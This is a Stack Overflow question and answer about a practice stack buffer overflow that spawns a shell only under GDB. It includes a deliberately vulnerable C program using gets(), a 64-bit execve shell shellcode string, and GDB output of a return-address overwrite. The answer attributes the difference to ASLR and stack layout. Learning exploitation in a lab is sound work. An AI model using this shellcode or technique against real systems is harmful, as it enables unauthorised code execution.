Buffer overflow success only when using gdb

Question

If I modify return address directly with GDB, buffer overflow success and I can get shell. However when I don't use GDB, I can't get shell with same shell code. I can't find any difference between them.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(void)
{
    char str[256];
    char *ptr;
    int a;

    printf("문장을 입력하세요.\n");
    gets(str);
    printf("%s\n", str);
}

Above is my victim program 'ftz_level12'.

"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

If I use gdb's set instruction, I can get shell like this

(gdb) r
Starting program: /home/knight/bof_prac/ftz_level12 
문장을 입력하세요.
hello

Breakpoint 1, 0x000000000040059c in main ()
(gdb) i r rbp
rbp            0x7fffffffe480   0x7fffffffe480
(gdb) set {int}0x7fffffffe488 = 0xffffeed0
(gdb) set {int}0x7fffffffe48c = 0x7fff
(gdb) disable
(gdb) c
Continuing.
hello
process 4443 is executing new program: /bin/dash
$

If I don't use set instruction I can't get shell

(gdb) r < code
Starting program: /home/knight/bof_prac/ftz_level12 < code
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????abcdefgh?????
process 4449 is executing new program: /bin/dash
[Inferior 1 (process 4449) exited normally]

Above is shell code which I used. I'm using ubuntu 16.04 and x64 architecture

I read that link. I think it is really useful. But after reading it, I think it's little bit strange. Actually It doesn't run well on gdb too. If I designate return address with gdb's set instruction, I can get shell. If I don't use it than I can't get shell even if I use gdb. — Damotorie
– Damotorie, Commented Sep 19, 2016 at 8:04
I'm not good at english. I added what ' I can get shell ' in question — Damotorie
– Damotorie, Commented Sep 19, 2016 at 8:39

Community · Accepted Answer · 2017-05-23 12:32:52Z

0

I can't find any difference between them.

GDB by default disables address space randomization. You can re-enable it with (gdb) set disable-randomization off.

https://stackoverflow.com/a/17775333

Update:

I shut down aslr protection by /proc/sys/kernel/randomize_va_space=0

That's pretty equivalent to setting disable-randomization off in GDB.

As the other answer mentions, you also need to arrange the stack layout inside and outside of GDB to be close enough.

One difference that could be relevant is that GDB always invokes the program by its full path. Try running in outside GDB like so:

/home/knight/bof_prac/ftz_level12 < code

edited May 23, 2017 at 12:32

CommunityBot

11 silver badge

answered Sep 20, 2016 at 1:36

Employed Russian

217k36 gold badges324 silver badges396 bronze badges

Sign up to request clarification or add additional context in comments.

2 Comments

Damotorie Over a year ago

I shut down aslr protection by /proc/sys/kernel/randomize_va_space=0. I think set disable-randomization off is as same as /proc/sys/kernel/randomize_va_space. Did I misunderstand??

Damotorie Over a year ago

I tried /home/knight/bof_prac/ftz_level12 < code but It still print segment fault

Collectives™ on Stack Overflow

Buffer overflow success only when using gdb

1 Answer 1

2 Comments

Your Answer

Linked

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

2 Comments

Your Answer

Sign up or log in

Post as a guest

Linked

Related